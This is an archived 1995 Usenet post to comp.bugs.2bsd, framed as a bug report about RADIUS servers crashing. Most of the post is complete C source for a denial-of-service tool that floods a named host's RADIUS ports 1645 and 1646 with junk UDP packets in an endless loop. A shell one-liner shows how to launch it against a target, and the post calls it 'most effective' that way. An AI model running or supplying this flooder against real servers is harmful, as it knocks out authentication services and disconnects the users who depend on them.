Return to BSD News archive
Path: sserve!newshost.anu.edu.au!harbinger.cc.monash.edu.au!simtel!news.kei.com!news.mathworks.com!newsfeed.internetmci.com!news.sprintlink.net!news.gate.net!navajo.gate.net!jay From: jay@gate.net (Jay) Newsgroups: comp.bugs.2bsd Subject: BIG PROBLEM WITH UDP & PORTMASTERS >>>> Date: 19 Jul 1995 23:51:40 GMT Lines: 74 Message-ID: <3uk5qc$1sos@news.gate.net> NNTP-Posting-Host: navajo.gate.net X-Newsreader: TIN [version 1.2 PL2] There seems to be a problem hmmm hers a snipit to recreate the problem ie radiusd coredumping/ignoreing users & sometimes just dissconecting them UDP SUCKS i hope this problem is fixed fast most effective if run on the hosts system ie use a script #!/bin/sh killrad hostname& killscript BEGIN CODE :) #include <stdio.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> char msg[128]={"slkjfslkaf;lsrjf;osfjaiso;jqwoilkjfwqo;rjioqrg"}; extern int errno; void main(int argc, char *argv[]) { struct hostent *h; struct sockaddr_in sin; int i,j,k,l; unsigned long ip; if (argc!=2) { printf("\nUsage: %s hostname\n",argv[0]); return; } h=gethostbyname(argv[1]); if(h==NULL) h=gethostbyname(argv[1]); /* Workaround stupid Linux bug */ if(h==NULL) { printf("Host '%s' cannot be found.\n",argv[1]); return; } if(h->h_addrtype!=AF_INET) { /* Should _never_ happen */ printf("Host not an Internet host.\n"); return; } /* IP is in nw byte order */ ip=*(unsigned long *)(*h->h_addr_list); printf("Address is %s\n",inet_ntoa(ip)); i=socket(AF_INET,SOCK_DGRAM,0); if(i<2) { printf("Socket open error\n"); return; } sin.sin_family=AF_INET; sin.sin_port=0; sin.sin_addr.s_addr=0; k=bind(i,(struct sockaddr *)&sin,sizeof(sin)); if(k) { printf("Bind error\n"); return; } sin.sin_addr.s_addr=ip; while(1) { sin.sin_port=htons(1645); j=sendto(i,msg,time(NULL)%sizeof(msg),0,(struct sockaddr *)&sin,sizeof(sin)); if(j==-1) printf("-"); else printf("+"); fflush(stdout); sin.sin_port=htons(1646); j=sendto(i,msg,time(NULL)%sizeof(msg),0,(struct sockaddr *)&sin,sizeof(sin)); if(j==-1) printf("-"); else printf("+"); fflush(stdout); } } ___________________________________east to meet the Zar----------------------- P.S DAVE IS DA GREATIST